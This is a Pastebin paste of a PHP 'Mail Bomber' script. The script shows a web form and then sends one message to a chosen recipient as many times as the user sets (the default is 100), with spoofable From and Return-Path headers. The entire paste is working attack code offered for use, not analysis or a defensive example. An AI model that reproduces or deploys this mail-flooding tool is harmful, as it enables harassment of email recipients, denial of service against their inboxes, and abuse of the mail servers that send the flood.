Advertisement
Guest User

Mail Bomber - Nabilaholic404

a guest
Mar 4th, 2014
3,815
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.87 KB | None | 0 0
  1. <?php
  2.     print "<title>Email Bomber</title>";
  3.     print "<body text='red' bgcolor='#000000'>";
  4.     print "<center>";
  5.     print "<b>PHP Mail Bomber</b>";  
  6.     print "<form action=".$_SERVER['PHP_SELF']." method='post'>";
  7.     print "From:<br>";
  8.     print "<input type='text' name='from' size='30' value='a@b.com'><br>";
  9.     print "To:<br>";
  10.     print "<input type='text' name='to' size='30' value='c@d.com'><br>";
  11.     print "Amount:<br>";
  12.     print "<input type='text' name='amount' size='3' maxlength='3' value='100'><br>";
  13.     print "Subject:<br>";
  14.     print "<input type='text' name='subject' size='30'><br>";
  15.     print "Body (html format):<br>";
  16.     print "<textarea name='body' rows='8' cols='35'></textarea><br><br>";
  17.     print "<input type='submit' name='submit' value='submit'><br>";
  18.     print "</form>";
  19.  
  20.     print "<br>";
  21.     if (isset($_POST['submit']))
  22.     {
  23.        echo " ";
  24.         $mail_from=$_POST["from"];
  25.         $mail_to=$_POST["to"];
  26.         $times = $_REQUEST['amount'];
  27.        if(!is_numeric($times)) {echo "Invalid value for 'Amount'.<br><a href='javascript:history.go(-1)'>back</a>";exit;}
  28.         $mail_subject=$_POST["subject"];
  29.         $mail_body=$_POST["body"];
  30.         $mail_headers=implode("\n",array("From: $mail_from","Subject: $mail_subject","Return-Path: $mail_from","MIME-Version: 1.0?","X-Priority: 3","Content-Type: text/html" ));
  31.        //header("Content-Type: text/plain");
  32.     $count = 1;
  33.     while($count <= $times) {
  34.         $status=mail($mail_to,$mail_subject,$mail_body,$mail_headers);
  35.     ++$count;
  36.     }
  37.     if($status)
  38.         {
  39.             echo "<b>Sent !<b><br><br>";
  40.         }
  41.         else
  42.         {
  43.             echo "Failed<br><br>";
  44.         }
  45.  
  46.         //exit;
  47.     }
  48.     //include("xvk98.php");
  49.     print "</center></body>";
  50.     //fuajuar
  51.  
  52.  
  53.     ?>
  54. <br>
  55. <br>
  56. <br>
  57. <br>
  58. <br>
  59. <center><?php
  60.  
  61. ?></center>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement